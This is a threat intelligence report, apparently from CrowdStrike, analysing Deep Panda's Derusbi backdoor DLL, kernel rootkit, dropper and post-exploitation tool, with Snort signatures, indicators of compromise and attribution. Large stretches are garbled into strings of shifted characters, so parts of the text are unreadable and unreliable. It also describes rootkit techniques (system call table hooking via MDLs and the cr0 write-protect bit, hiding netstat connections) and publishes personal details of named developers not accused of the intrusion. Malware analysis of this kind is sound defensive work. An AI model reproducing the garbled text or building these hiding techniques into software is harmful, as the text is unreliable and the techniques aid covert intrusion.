I V E 10CROWDSTRIKE Backdoor DLL Sample (MD5: de7500fc1065a081180841f32f06a537) DEEP PANDA Variants of this Trojan are sometimes detected under the name Derusbi by Microsoft, Trend, Sophos and Symantec AV engines. This sample is a DLL which can be registered as a service and is used to drop a kernel driver and provide an interactive command line shell to the C2. It also is able to bypass User Account Control (UAC) to install itself by using the sysprep.exe Microsoft Windows executable provided by the targeted system. The steps it takes to install itself onto a system are as follows: 1. Copies itself to to WINDIR\system32\Msres3 random characters.ttf IWHULWFRSLHVLWVHOILWZLOOPRGLI\WKHFUHDWLRQWLPHODVWDFFHVVWLPHDQGODVWPRGLFDWLRQWLPHWR the current system time when the copy was made but with the year changed to 2005. GGVLWVHOIDVDVHUYLFHQDPHIURPWKHEDFNGRRUVFRQJXUDWLRQXQGHU. (B/2/B MACHINE\\SYSTEM\\CurrentControlSet\\Services\\service This defaults to wuauserv, WKHOHJLWLPDWH:LQGRZV8SGDWHVHUYLFHLQWKHJLYHQELQDU\VGHIDXOWFRQJXUDWLRQ 4. Adds itself to list of services started by netsvc using the service name helpsvc. 5. If McAfee AV is installed, creates a copy of regsvr32.exe named Update.exe and then schedules the copy to be deleted on reboot using the well documented MoveFileExA API. 6. It then calls either the original or copy of regsvr32.exe with the parameters /s /u and the path to the copy of itself it made in Step 1. The /u parameter means uninstall, which calls DllUnregisterServer, this is an unsophisticated method of DLL entry point obfuscation. 7. DllUnregisterServer installs the driver and initiates the backdoor component. 7KHVDPSOHLVFDSDEOHRIGURSSLQJDQHPEHGGHGHQFU\SWHGNHUQHOGULYHU,IWKHSURFHVVKXRQJ)DQJX exe is running (AntiVirus360 program from the Chinese Quihoo 360 Technology Co., LTD 360 ), or the username of the DLLs host process context is not SYSTEM, the driver is not written to disk. Barring the two aforementioned conditions, the sample decrypts the kernel driver to: sysdir\Drivers\6AB5E732-DFA9-4618-AF1C-F0D9DEF0E222.sys )ROORZLQJWKHGHFU\SWLRQDQGZULWLQJRIWKHGULYHUWRGLVNLWLVORDGHGXVLQJWKHZ/RDGULYHU3,7KHGULY- HULVHQFU\SWHGZLWKDVLPSOHIRXUE\WH25NH\YDOXHRI[()DIWHUGHFU\SWLRQWKHOHKDVWKH0 hash of dae6b9b3b8e39b08b10a51a6457444d8. 7KHPDOZDUHFRQWDLQVDG\QDPLFFRQJXUDWLRQVWRUHGLQWKH5HJLVWU\XQGHU HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Rpc\Security DQGORDGVDGHIDXOWFRQJXUDWLRQHPEHGGHGLQWRWKHELQDU\LIVXFKDFRQJXUDWLRQLVQRWIRXQG7KHZD\ WKLVGHIDXOWFRQJXUDWLRQLVORDGHGDQGSDUVHGLQGLFDWHVWKDWWKLVPDOZDUHKDVEHHQEXLOWZLWKDEXLOGHUWKDW WDNHVDWHPSODWHVDPSOHDQGOHWVDQXQVRSKLVWLFDWHGXVHUVSHFLI\DFRQJXUDWLRQZLWKRXWUHFRPSLOLQJDQ\ code. S E N S I T I V E 11CROWDSTRIKE DEEP PANDA ,IWKHFXUUHQWVHUYLFHQDPHPDWFKHVDVHWRISUHGHQHGVHUYLFHQDPHVWKDWOHJLWLPDWHO\H[LVWLQ:LQGRZV the backdoor then loads the original services DLL into the address space with LoadLibrary and invokes the ServiceMain export. This effectively hijacks the original services entry while retaining its functionality. While there is code in the binary that allows downloading a list of C2 servers from an HTTP URL, the default FRQJXUDWLRQSUHVHQWVSHFLHVDVDWRXVHWKLVLVWKHVDPHRQJ.RQJVHUYHUDV the one used by the post exploitation .NET tool. The malware has three distinct C2 protocols two of which can be transmitted over HTTP proxies and one can be bundled in two different dual modes (see 3. ), totaling 7 distinct supported C2 mechanisms. The con- JXUDWLRQFRQWDLQVWKHSURWRFROWREHXVHGRURSWLRQDOO\DVHOIFRQJXUDWLRQPRGHLQZKLFKWKHPDOZDUH DWWHPSWVWKHGLIIHUHQWSURWRFROVLQDSUHGHQHGRUGHU,QVHOIFRQJXUDWLRQDFRQQHFWLRQYLDDSUR[\LV DWWHPSWHGLIWKHV\VWHPZLGH,QWHUQHW([SORUHUVHWWLQJVVSHFLI\VXFKDSUR[\7KHFRQJXUDWLRQIRXQGLQWKLV VDPSOHLVVHWWRDXWRPDWLFVHOIFRQJXUDWLRQUHVXOWLQJLQWKHIROORZLQJPHFKDQLVPVEHLQJWULHGLQWKLVRUGHU 1. Proprietary binary header (optionally over an HTTP Proxy using CONNECT mechanism) this protocol consists of 64 random bytes being sent to the C2. The C2 then responds with 64 bytes ZKHUHWKHUVWIRXUE\WHVPXVWPDWFKWKHUVWIRXUVHQWE\WHVWRHVWDEOLVKDFRQQHFWLRQ VXFFHVVIXOO\7KHUHPDLQLQJE\WHVDUHGLVFDUGHG,QWHUHVWLQJO\WKHPDOZDUHVWRUHVWKHUVWIRXU bytes rotated right by seven bits and compares that value to the seven bits rotated right version of the servers response, effectively neutralizing the rotations effect the purpose of this is unclear. ORQJUXQQLQJ7733267UHTXHVWWRWKHSDWKIRUXPORJLQFJLZLWKDVWDWLFDOO\GHQHG773 request string including HTTP headers (optionally over a HTTP Proxy using CONNECT). The malware requires the response to start with HTTP/1.0 200 or HTTP/1.1 200 and an absence of a Connection: close header. This one HTTP connection will be used for bi-directional communications, sending chunks of POST payload and receiving chunks of the response, interleaved. 3. Two long-running HTTP requests to the same C2 (optionally over an HTTP Proxy with original request verb), one GET request to /Photos/Query.cgi?loginid followed by a random number and one POST request to /Catelog/login1.cgi. The GET request serves as a down-stream channel while the POST request serves as a upstream channel. 7KLVGHPRQVWUDWHVDQDWWHPSWWRXVHWKHPRVWHIFLHQWFRPPXQLFDWLRQFKDQQHOUVWIDOOLQJEDFNWRPRUH legitimate appearing channels as required in order to appear Request For Comment (RFC) compliant with the HTTP protocol. GGLWLRQDOO\WKHPDOZDUHFRQWDLQVDFXVWRP16FOLHQWLPSOHPHQWDWLRQWKDWZLOOXVHWKHV\VWHPVFRQJXUHG 16VHUYHUWRWXQQHOWUDIFRYHUOHJLWLPDWH166LQFHWKLV S E N S I T I V E 12CROWDSTRIKE C2 Communication Mechanisms DEEP PANDA PHFKDQLVPLVQRWDWWHPSWHGLQVHOIFRQJXUDWLRQDQGZDVQRWFRQJXUHGIRUWKLVELQDU\DQDO\VLVZDVOHIWRXW due to time constraints. After establishing any of the aforementioned channels for arbitrary binary data exchange, the malware will start sending and receiving compressed binary blobs via the channel of choice. The C2s binary data blobs are compressed. No further encryption of the data takes place. All C2 transport implementations contain code for accepting and handling server-side connections of the respective protocols. However, this code does not appear to be invoked. It appears that the author of this code shares the library that implements these transports for the client with the C2 server. The main backdoor thread then reads commands from the chosen C2 protocol and passes them on to any of the following registered handler classes based upon a command ID. The handler class is responsible for parsing the remainder of the command. 3B),/()LOHURZVLQJDQGDWD([OWUDWLRQ 7KLVKDQGOHUFODVVIRUFRPPDQG,LPSOHPHQWVJHQHULFGLUHFWRU\DQGOHEURZVLQJXVLQJ)LQG)LUVW)LOH: DQG)LQG1H[W)LOH:3,VDVZHOODVUHDGLQJDQGZULWLQJDUELWUDU\OHVYLDFRPPDQGVWKXVHQDEOLQJ XSORDGDQGGRZQORDGRIDUELWUDU\OHV7KLVLVW\SLFDOO\VHHQLQ57VIRUVHDUFKLQJVSHFLFOHVWRH[OWUDWH GGLWLRQDOO\WKLVFODVVLPSOHPHQWVODXQFKLQJRIVSHFLHGH[HFXWDEOHOHVYLDWKHUHDWH3URFHVV3, PCC_PROXY: TCP Proxy This handler class implements a generic TCP proxy. It supports establishing TCP connections to other hosts and also listening for incoming connections. The incoming connection contents are forwarded to the C2 and data from the C2 is passed on to connections. It supports up to 1024 parallel connections. PCC_MISC : Gather and report system information The malware is capable of gathering various pieces of information from the system, triggered by a command ID 10. The capabilities include recovering authentication credentials from various system and client storage such as Mozilla Firefox, Internet Explorer, and Remote Access Service (RAS). This class also supports gathering intelligence on the infected system including identifying security tools by their process name, proxy accounts, and version numbers for the Operating System (OS) and Internet Explorer. PCC_SYS: System Management This handler class provides the attacker with the ability to manage system components including start/stop/ delete system services, enumerate/alter registry keys, and manage running processes. This class also provides the ability for the attacker to take a screen shot of the users desktop. INTERNAL_CMD: Command-Line Shell S E N S I T I V E 13CROWDSTRIKE C2 Command Invocation DEEP PANDA This handler class uses the command ID 5 and implements an interactive command line shell accessible from the C2 server, containing a series of built-in commands. If the input is not in this list of built-in commands, the malware attempts to invoke cmd.exe in the background, launching a command or command line utility already present on the system. The standard output channel of that command is provided back to the C2. The supported built-in commands are: KHOS_VKRZVDOLVWRIEXLOWLQFRPPDQGV FG GLU PG UG GHO FRS\ UHQ W\SH UXQDV SLG FPG VWDUW UHERRWI VKXWGRZQI FOHDUORJV\VWHPDSSOLFDWLRQVHFXULW\ ZJHW KWWSXUO Kill Switch / Self-Destruction The only command that is implemented directly in the main backdoor thread as a subprocedure call and not via a generic command handler class is command ID 256. This command results in the DLL deleting itself and terminating the backdoor process. This sample is a packed 32-bit kernel driver extracted by the aforementioned DLL with an MD5 hash of: de7500fc1065a081180841f32f06a537, this sample will only function on a Windows 32-bit kernel. This code appears to have been compiled on Sunday October 9, 2011 at 4:50:31 P.M. UTC (very early morning time of Monday, October 10 in China). This section describes how the driver performs its initialization routine. Multiple Instance Protection The driver begins by opening a named event in the BaseNamedObjects object directory with the name IIFI)(XVLQJWKH:LQGRZV3,Z2SHQ(YHQW,IWKHHYHQWDOUHDG\ exists, the driver fails to load, presumably to avoid a S E N S I T I V E 14CROWDSTRIKE Kernel Driver Sample (MD5: dae6b9b3b8e39b08b10a51a6457444d8) Entrypoint DEEP PANDA multiple instances of itself. If the event does not exist, the driver then creates it using the Windows API ZUHDWH(YHQW7KH:LQGRZV3,IRUFUHDWLQJHYHQWVZUHDWH(YHQWRUUHDWH(YHQWLQXVHUPRGH DOUHDG\SURYLGHVWKHDELOLW\WRFUHDWHRURSHQDQHYHQWVRWKHXVHRIDQLQLWLDOZ2SHQ(YHQWLVVXSHUXRXV and indicative of relatively limited Windows API knowledge of the author of that part of the code. It is interesting to note that some of the hex digits in the object name are mixed case which is potentially indicative of the code being re-appropriated from another source. The second component of the entry point performs an anti-debugging technique, calling the function KdDisableDebugger(), which allows the driver to disable usage of the built-in Windows kernel debugging facility that is used by popular kernel debuggers KD and WinDbg. Tools such as Syser Debugger, or debugging through a virtual machine are unaffected by this technique. The sample, rather than importing the KdDisableDebugger() API using conventional methods, looks up the API through MmGetSystemRoutineAddress() instead. All of the other APIs used by the driver are imported normally, so this is not a technique to hide import APIs used throughout the driver. Searching Google for MmGetSystemRoutineAddress and KdDisableDebugger results in dozens of Chinese language blogs which explain how to use this technique to Disable WinDbg. 7KHQDOVWHSRIWKHHQWU\SRLQWLVWREHJLQKRRNLQJWKHV\VWHPZKLFKLVGRQHE\WZRKHOSHUIXQFWLRQVRQH is designed to hook the system call table, while the other hooks the network stack. Network Stack Hooking 7KHQHWZRUNVWDFNKRRNLQJUVWTXHULHVWKH26YHUVLRQXVLQJ5WOHW9HUVLRQRU3VHW9HUVLRQKHFNLQJ the version is necessary because Windows versions beginning with Vista utilize a redesigned TCP/IP net- work stack, most hooking operations will require a different implementation for these versions. On versions prior to Windows Vista, the TCP/IP driver creates a \Device\Tcp device object through which most network requests are piped through. On Vista and later, TCP/IP has been split up into multiple components, and IP connection enumeration, which this driver is targeting, is managed by \Device\nsiproxy instead. In either case, the driver obtains the device object by using IoGetDeviceObjectPointer() and hooks Major Function 14 the IRP_MJ_DEVICE_CONTROL, as this is the function through which all Input Output ConTroLls (IOCTLs) are sent, such as the IOCTL for querying active IP connections. Network Store Interface (NSI) Hook The NSI hook, targets IOCTL 0x12001B, which is used by NsiGetObjectAllParameters() in nsi.dll when users typically run commands such as netstat.exe or use any of the IP Helper APIs in iphlpapi.dll. The purpose of the hook is to scan the list of active connections returned to the user, and hide any such connection currently bound to a local TCP port in S E N S I T I V E 15CROWDSTRIKE Anti-Debugging Protection Hooking DEEP PANDA the range between 40000 and 45000. The hooking is performed by creating a new completion routine associated with any IRP_MJ_DEVICE_CONTROL IRP that matches the IOCTL, attaching to the target process, performing several memory copies to hide the entry, and detaching. This functionality is nearly identical to the code posted by Edward Sun (aka cardmagic, sunmy1sina.com, onlyonejazzhotmail.com, cardcianmail.ustc.edu.cn, QQ 28025945) from Hefei, Anhui province (Nanjing Military District) on July 8, 2007, then a China-based researcher at Trend Micro (now working at .LQJVRIWKLQHVH9FRPSDQ\/LQNHG,QSUROHSDJHKWWSZZZOLQNHGLQFRPSUROHYLHZLG at http://forum.eviloctal.com/viewthread.php?actionprintabletid29604 (See Appendix G). CrowdStrike has no information connecting Mr. Sun to this intrusion activity, his code appears to have been appropriated by the actor to add similar functionality to their code. TCP Hook The TCP hook works almost identically to the NSI hook, though instead hooking IOCTL 0x120003 (IOCTL_ 73B48(5B,1)2507,21B(7KLV,27/KDVWKHH[DFWVDPHIXQFWLRQDOLW\DVWKH16,VSHFLF,27/ 7KLV,27/ZDVWKHPHFKDQLVPXVHGRQ:LQGRZVYHUVLRQVSULRUWR:LQGRZV9LVWD7KLVKRRNDOVROWHUV any connections listening on TCP ports in the range between 40000 and 45000. System Call Hooking 7KHV\VWHPFDOOKRRNLQJWDUJHWVWKUHHIXQFWLRQVZ6DYH.H\Z4XHU\9DOXH.H\DQG Z(QXPHUDWH9DOXH.H\7KHXQSDFNHGNHUQHOGULYHUVDPSOHKRRNVWKHVHIXQFWLRQVE\UHDGLQJWKHVHFRQG DWORD at each of these exported functions. Because the system call stub uses the EAX register as an index for the system call ID, and a mov eax, imm32 instruction instruction is used, this second DWORD will match the system call ID. It then adds this index to the value of KeServiceDescriptorTable. Base, which is the exported kernel variable (on 32-bit Windows only) which directly points to the system call table. This is one of the simplest ways to do a system call hook, but will not work on 64-bit Windows as this variable is not exported in addition to the protection provided by Microsoft PatchGuard. 7KHV\VWHPFDOOKRRNLVWKHQSHUIRUPHGE\UVWDOORFDWLQJD0HPRU\HVFULSWRU/LVW0/XVLQJWKH Windows API IoAllocateMdl(), and associating the MDL to a non-paged buffer using MmBuildMdlForNonPagedPool(). Once the MDL is associated to the non-paged buffer, the sample locks the underlying pages using the Windows API MmProbeAndLockPages(). Instead of hooking the entry in the table directly, which is easily detectable, the driver uses the LDASM open-source disassembly engine to analyze the function that is being pointed to by the table, and applying a Detours-style hook directly in the code. It uses the standard mov cr0, eax technique, turning off the Write Protect (WP) bit as it does this. When the hook is installed, it writes a special DWORD value, KDTR, which allows it to prevent double-hooking or badly-hooking the system call, during unhooking, this value is also checked. Registry Hooks ,QWKHZ6DYH.H\KRRNDFFHVVWR\\REGISTRY\\MACHINE\\SYSTEM is blocked. RegSaveKey() which is WKHXVHUPRGHLPSOHPHQWDWLRQRIWKHNHUQHOZ6DYH.H\3,LVW\SLFDOO\XVHGZKHQSHUIRUPLQJDQRILQH backup of a particular registry key. S E N S I T I V E 16CROWDSTRIKE DEEP PANDA KRRNLVWKHZ4XHU\9DOXH.H\KRRNZKLFKORRNVIRU3DUDPHWHUVNH\RIDVHUYLFHZLWKLQWKHUHJLVWU\DW \\REGISTRY\\MACHINE\\SYSTEM\\ControlSet001\\Services\\. It then checks for the values of the ServiceDll and Security keys, in the latter case it applies an XOR on the data with the value 127. The user-mode component of this malware is a service called msupdate, this driver is attempting to hide the VHUYLFH7KHXVHUPRGHVHUYLFHVWRUHVFRQJXUDWLRQGDWDLQWKH6HFXULW\VXENH\RIWKH53UHJLVWU\NH\ WKLVFRPSRQHQWZLOOREIXVFDWHWKHXVHUPRGHFRQJXUDWLRQGDWD7KHGULYHUGRHVQRWPDNHDQ\HIIRUWVWR KLGHLWVRZQNH\QRUGRHVLWVSHFLFDOO\FKHFNIRU53EHIRUH6HFXULW\ZKLFKFDQOHDGWRUDQGRPGDWD EHLQJREIXVFDWHG7KHQDOKRRNZ(QXPHUDWH9DOXH.H\LVVLPLODULQVWUXFWXUHWRWKHZ4XHU\9DOXHRRN key, due to the fact that these APIs provide almost identical functionality when it comes to reading registry values. In the registry hooking code of the driver, a call is made to ObReferenceObjectByHandle(). This allows the driver to receive the CM_KEY_OBJECT which is then used with ObQueryNameString() to get the key/value path. However, no call to ObDereferenceObject() is ever made, which means that all registry objects being sent to these APIs are eventually leaked. In the registry hook, it was noticed that CurrentControlSet001 was used as the target, if the target machine ZDVXVLQJDODVWNQRZQJRRGFRQJXUDWLRQRUDURDPLQJKDUGZDUHSUROHWKHUHJLVWU\KRRNZRXOGQRW function as intended. This is the reason the Microsoft implemented a symbolic link to \\CurrentControlSet ZKLFKHQVXUHVWKDWUHJDUGOHVVRIWKHPDFKLQHVFRQJXUDWLRQDQ\UHTXHVWZLOODFFHVVWKHFRUUHFWUHJLVWU\NH\ S E N S I T I V E 17CROWDSTRIKE DEEP PANDA 7KLVWKUHDWDFWRUOHDYHVVHYHUDONH\QJHUSULQWVZKLFKFDQEHXVHGWRLGHQWLI\FRPSURPLVHGV\VWHPV 7KHVHGLJLWDOQJHUSULQWVDUHXQLTXHWRWKLVDGYHUVDU\IRUWKLVFDPSDLJQ The following network signatures are designed for the popular Open Source IDS called Snort. These signature can be ported to other formats upon request. Malware 1 MITIGATION / REMEDIATION Network Signatures Malware 2 Malware 3 S E N S I T I V E 18CROWDSTRIKE alert tcp any any any any (msg: BackDoor Beacon Attempt content:78 7c 71 4c 4a 49 49 49 4A 4C 46 classtype:backdoor sid:123456 rev:27122011) alert tcp any any any any (msg: BackDoor Beacon Attempt content:Goo- gle http_uri classtype:backdoor sid:123457 rev:27122011) alert ip 1.9.5.38 any any any (msg: Malicious Host Detected class- type:backdoor sid:123460 rev:27122011) alert tcp any any any any (msg:BackDoor Beacon Attempt content:03 01 74 80 82 21 b5 64 c2 74 22 e3 02 00 00 00 49 03 00 00 00 00 00 00 00 00 00 00 0000 00 00 classtype:backdoor sid:123458 rev:27122011) alert ip 202.86.190.3 any any any (msg:Malicious Host Detected class- type:backdoor sid:123459 rev:27122011) alert tcp any any any any (msg: BackDoor C2 content: POST /forum/ login.cgi HTTP/1.1 content:User-Agent: Mozilla/4.0 classtype:backdoor sid:123461 rev:27122011) alert tcp any any any any (msg: BackDoor C2 content: GET /Photos/Query. cgi?loginid classtype:backdoor sid:123462 rev:27122011) alert tcp any any any any (msg: BackDoor C2 content: POST /Catelog/ login1.cgi HTTP/1.1 content:User-Agent: Mozilla/4.0 classtype:backdoor sid:123461 rev:27122011) DEEP PANDA 7KHIROORZLQJOHV\VWHPDUWLIDFWVDUHLQGLFDWLYHRIDFRPSURPLVHGKRVW Dropper/DLL C:\Documents and Settings\All Users\Documents\infoadmn.dll (TS: 2007-03-07 00:00:00) C:\Documents and Settings\All Users\Documents\infoctrs.dll (TS: 2007-03-07 00:00:00) C:\Documents and Settings\All Users\Documents\infocardapi.dll (TS: 2007-03-07 00:00:00) MD5: 47619fca20895abc83807321cbb80a3d Post Explotiation Tool MD5: 2dce7fc3f52a692d8a84a0c182519133 Backdoor MD5: de7500fc1065a081180841f32f06a537 Kernel Driver: MD5: dae6b9b3b8e39b08b10a51a6457444d8 sysdir\Drivers\6AB5E732-DFA9-4618-AF1C-F0D9DEF0E222.sys The following Windows Registry artifacts are indicative of a compromised host: Dropper/DLL HKLM\\SYSTEM\\CurrentControlSet\\Services\\msupdate HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost which will have the msupdate key set to msupdate Backdoor HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Msres3 character rand.ttf Dropper/DLL Username: _DomainUser_ Password:Dom4nUserP4ss Backdoor The backdoor may be detected by several different Anti-Virus products under a signature with the name: Derusbi Kernel Driver Object: 8CB2ff21-0166-4cf1-BD8F-E190BC7902DC File System Artifacts Registry Artifacts Other Artifacts S E N S I T I V E 19CROWDSTRIKE DEEP PANDA Attribution in the cyber domain is always a tricky subject when relying solely on malicious samples. Compiler artifacts and language settings can of course be deliberately masked or spoofed. CrowdStrike uses a unique approach of comprehensive threat analysis in order to decipher attributable components. Based on the corroborating evidence discovered in the course of this analysis, it appears there are numerous indications that this is a Chinese-speaking actor. KXRQJ)DQJXH[HLVDFRPSRQHQWRI , a Chinese security product available from http://www.360.cn/. This is particularly relevant in this case because the backdoor DLL sample with an MD5 RIGHIFDIIDVSHFLFDOO\DYRLGVLQVWDOOLQJWKHNHUQHOGULYHURQDV\VWHPUXQQLQJ this tool. Speculatively this may be because this security product detects this rootkit, or the author was attempting to prevent accidental infection on systems running this Anti-Virus product. The obfuscation of the KdDisableDebugger() function call is seen on several Chinese language forums, and can be seen being reused in several code samples on those forums. As previously mentioned there is no advantage associated with using this call obfuscation, and appears to be reused for no apparent reason other than the attackers have copied code directly from forum code. While the various network hooking techniques used in the kernel driver may appear novel or well UHVHDUFKHGXSRQFORVHLQVSHFWLRQLWLVDFWXDOO\DOLQHIRUOLQHFRS\RIDQH[LVWLQJSRVWIURPWKHQRZRILQH rootkit.com by a Chinese language developer. This post is currently mirrored on dozens of Chinese hacking websites. Similarly the system call hooking is less impressive after searching for IoAllocateMdl and cr0 (bbs.pediy. com/showthread.php?t77467ZKLFKLGHQWLHVKLQHVHIRUXPZHEVLWHVZLWKDOPRVWLGHQWLFDOFRGHWR perform system call hooking through MDLs. The ldasm inline hooking is also repeated in numerous postings to Chinese forums. One particular website (http://read.pudn.com/downloads197/sourcecode/windows/sys- tem/927802/CCRootkit/RootkitSys/HookSSDT.c__.htm) had an almost identical ldasm loop that tried to identify the exact same code sequences. Open source research of the 4 innocuous kernel APIs Z6DYH.H\Z4XHU\9DOXH.H\Z(QXPHUDWH9DOXH.H\,ROORFDWH0GOLQFRQFHUWOHDGVGLUHFWO\WRD Chinese website that has a cached rootkit performing similar hooks on the same 3 registry related APIs. While the driver does not use pool tags for most of its allocations, it does utilize them in the networking hooking code, much like the examples found on the Chinese language forums. This sample uses pool tags: tnet, and KDTR. Although the meaning of the KDTR tag is not ATTRIBUTION S E N S I T I V E 20CROWDSTRIKE 1 http://bbs.pediy.com/showthread.php?t125358 http://kost0911.pixnet.net/blog/post/36914183-anti-anti-windbg DEEP PANDA REYLRXVZHDVVHVVZLWKKLJKFRQGHQFHWKDWWKLVLVDVKRUWHQHGYHUVLRQRI.HUQHOH7RX5ZKLFK coincides with the matching functionality of the detour-style inline hook. The driver code (MD5: dae6b9b3b8e39b08b10a51a6457444d8) appears to be a combination of various code that is easily searchable on the Internet, and almost always attributed to Chinese language forums and websites. The system call hooking parts of the code appear to be identical to the HookSSDT.c code authored by Steven Lai embedlinux and utilized in what the author titled CC Rootkit on on August 4, 2008 whos email address is hqulyc126.com. This user has a QQ identity of: 5054-3533, QQ is a popular LQVWDQWPHVVDJLQJFKDWFOLHQWXVHGDOPRVWH[FOXVLYHO\LQKLQDLVUHDOQDPHDFFRUGLQJWRKLV44SUROH (http://user.qzone.qq.com/50543533) appears to be Steven Lai. He was is 28 years old (born September 5, DQGOLYHVLQLDPHQ)XMLDQSURYLQFH1DQMLQJ0LOLWDU\5HJLRQFFRUGLQJWRKLVSUROHKHKDVZRUNHG at Xiamen XOCECO New Technic Co., Ltd. (http://www.likego.com/en/about.asp), a company that builds DXGLRYLGHRV\VWHPVIRUWUDQVSRUWDWLRQV\VWHPV0U/DLLVQRWEHLQJLGHQWLHGDVWKHDFWRUKLVFRGH however was used by whomever built the kernel driver utilized by the backdoor and for this reason we are providing the background on this individual. S E N S I T I V E 21CROWDSTRIKE DEEP PANDA S E N S I T I V E 22CROWDSTRIKE )LJXUH3LFWXUHWDNHQIURP6WHYHQ/DLV443UROH3DJH DEEP PANDA For more information about Intelligence-as-a-Service or specific attribution information on Deep Panda, contact the CrowdStrike Global Intelligence Team ATTRIBUTION S E N S I T I V E 23CROWDSTRIKE )LJXUH3LFWXUHWDNHQIURP6WHYHQ/DLV443UROH3DJH DEEP PANDA For more information about Intelligence-as-a-Service or specific attribution information on Deep Panda, contact the CrowdStrike Global Intelligence Team ATTRIBUTION S E N S I T I V ECROWDSTRIKE )LJXUH3LFWXUHWDNHQIURP6WHYHQ/DLV44SUROHSDJH 3DUWVRI5RRWNLWSDFNDJHDSSHDUWRKDYHEHHQPRGLHGRUFRPSOHWHO\UHXVHGLQWKLVVDPSOH (http://read.pudn.com/downloads197/sourcecode/windows/system/927802/CCRootkit/RootkitSys/HookSS- DT.c__.htm). According to this Linux driver development guide embedlinux published on July 31, 2008 (http://wenku. baidu.com/view/e24205294b73f242336c5f45.html), t 24 DEEP PANDA For more information about Intelligence-as-a-Service or specific attribution information on Deep Panda, contact the CrowdStrike Global Intelligence Team ATTRIBUTION The samples involved in this incident are typical of attacks commonly associated with the Peoples Republic of China (PRC). These code samples have a variety of Tools, Techniques, and Procedures (TTPs) WKDWDUHXVHGWRWUDFNDQGLGHQWLI\VSHFLFDGYHUVDU\JURXSV7KHVRSKLVWLFDWLRQRIWKHDFWRUUHVSRQVLEOHIRU WKLVLQFLGHQWLVGLIFXOWWRTXDQWLI\ZLWKRXWYLVLELOLW\LQWRWKHDFWLYLWLHVWKDWWUDQVSLUHGRQWKHYLFWLPVQHWZRUN The ability to conduct Incident Response (IR) including forensics, and log analysis, greatly augments this visibility into these aspects of the incident. Some indications as to the adversaries capabilities can be derived from the captured samples alone. The dropper code (MD5: 14c04f88dc97aef3e9b516ef208a2bf5) does not utilize any techniques that are unique or unusual, and is consistent with tools, techniques, and procedures of attacks targeting proprietary information and generally attributed to the PRC. The presence of dead code and its replacement by a more VLPSOHREIXVFDWLRQPHWKRGWRKLGHWKHWREHGURSSHGGOOELQDU\OHLQGLFDWHVFRGHUHXVHRQWKHDWWDFNHU side. The dead code utilizes a more sophisticated compression algorithm provided by a third party which was rendered useless for some reason. This may have been a result of the attacker modifying an existing tool, or unknowingly using a re-purposed tool. The dropper resources indicate the compiler used to build the tool was running on a system that utilized the Chinese Simple language pack and was built on Wednesday May 4th, 2011 at 11:04:24 A.M. UTC (early evening time in China). While this can be deliberately spoofed DVDIDOVHDJRWKHULQGLFDWRUVLQFOXGLQJWKHDUHFRQVLVWHQWZLWKWKLVKDYLQJEHHQWKHZRUNRIDKLQHVH speaking actor. The dropped DLL (MD5: 47619fca20895abc83807321cbb80a3d) itself contains functionality that is typical RID5HPRWHFFHVV7RRO57ZKLFKDUHFRPPRQO\XVHGE\35EDVHGDFWRUVLQGDWDH[OWUDWLRQDWWDFNV 7KHFRGHTXDOLW\LVQRWLPSUHVVLYHDQGFRQWDLQVDWULYLDOVWDFNEXIIHURYHURZYXOQHUDELOLW\HVSLWHWKHEXI- IHURYHURZWKHFKDQQHOODFNVDQ\FRPPDQGDXWKHQWLFDWLRQRUHQFU\SWLRQDSDUWIURPWKHLQLWLDOEHDFRQ encryption/obfuscation using a statically compiled XOR key. The sample uses TCP port 443 for commu- nication, but makes no attempt to mimic the SSL protocol typically used on that port number, which would provide enhanced Operational Security (OPSEC). This code appears to have been compiled on Wednes- day May 4th, 2011 at 10:48:19 A.M. UTC (early evening time in China). The post exploitation tool (MD5: 2dce7fc3f52a692d8a84a0c182519133) is a dual-use tool, it can be dropped and executed by a client-side exploit, or the adversary can launch it using a variety of command line options. This tool is built in Microsoft .NET framework, which is typically an indication of a less sophis- ticated attacker, because .NET is easier to develop in but requires the .NET framework be present on the victim machine. The tool appears to have been compiled on Thursday May 26th, 2011 at 10:21:44 A.M. UTC (early evening time in China). The sample utilizes the AES cryptographic algorithm to protect its C2 communications. CONCLUSION S E N S I T I V E 25CROWDSTRIKE Dropper/Implant 1 Post Exploitation Tool DEEP PANDA S E N S I T I V E 26CROWDSTRIKE This DLL is a moderately sophisticated backdoor with several well designed communication mechanisms not typically seen in these types of implants. The code base for the sample was developed in C. The code appears to have been compiled on Sunday October 30, 2011 at 12:43:33 P.M. UTC (late evening time in China). This sample has multiple communication capabilities available that makes it far more versatile and stealthy. It implements relatively well thought out protocols including HTTP and DNS. The tool has the ability to automatically down select the most effective communication channel once it has been instantiated, which can help avoid detection from solutions like DNS blacklisting and RFC protocol enforcement. The DLL itself contains traces of the original C class names that were utilized in the source code, which in JHQHUDOZHUHSUH[HGZLWK37KHVDPSOHVXSSRUWVWKHDELOLW\WRDFWDVDJHQHULFSUR[\WKLVPD\EH LQWHQGHGWRSUR[\WUDIFIRURWKHULQIHFWHGPDFKLQHVLQRUGHUWRPLQLPL]HWKHQXPEHURIV\VWHPV communicating to the C2, thus enhancing OPSEC. The sample contains dead code which appears to be command and control server classes, this is likely an indicator that the C2 client which would communicate with this sample shares the same communications library which was compiled into this sample. System Driver The kernel driver component dropped by the Backdoor DLL bears many tool marks associating it with the CCRootkit package publicly by Steven Lai (a/k/a embedlinux). This kernel mode rootkit implements several hooking techniques that are aimed at preventing a system administrator from detecting the backdoor DLL. The implementation of these techniques has some unique idiosyncrasies that permit direct attribution to the source code Steven Lai posted. This driver attempts to hide a wide swath of TCP ports (40000-45000) for an unknown reason, however it is suspected that this may relate to the potential network relaying capability alluded to for the backdoor dll. The kernel driver component dropped by the Backdoor DLL bears many tool marks associating it with the CCRootkit package publicly by Steven Lai (a/k/a embedlinux). This kernel mode rootkit implements several hooking techniques that are aimed at preventing a system administrator from detecting the backdoor DLL. The implementation of these techniques has some unique idiosyncrasies that permit direct attribution to the source code Steven Lai posted. This driver attempts to hide a wide swath of TCP ports (40000-45000) for an unknown reason, however it is suspected that this may relate to the potential network relaying capability alluded to for the backdoor dll. Implant 2 Backdoor DLL System Driver DEEP PANDA 7KHIROORZLQJDUHFRPPDQGOLQHRSWLRQVLGHQWLHGLQWKHVDPSOH iu - impersonate user, iu represents a username and expects the following additional arguments. id -domain ip -password f - perform command based on value. Possible values listed below sh - Connect to C2. x - hostname, connect to http address to download y - port u - username 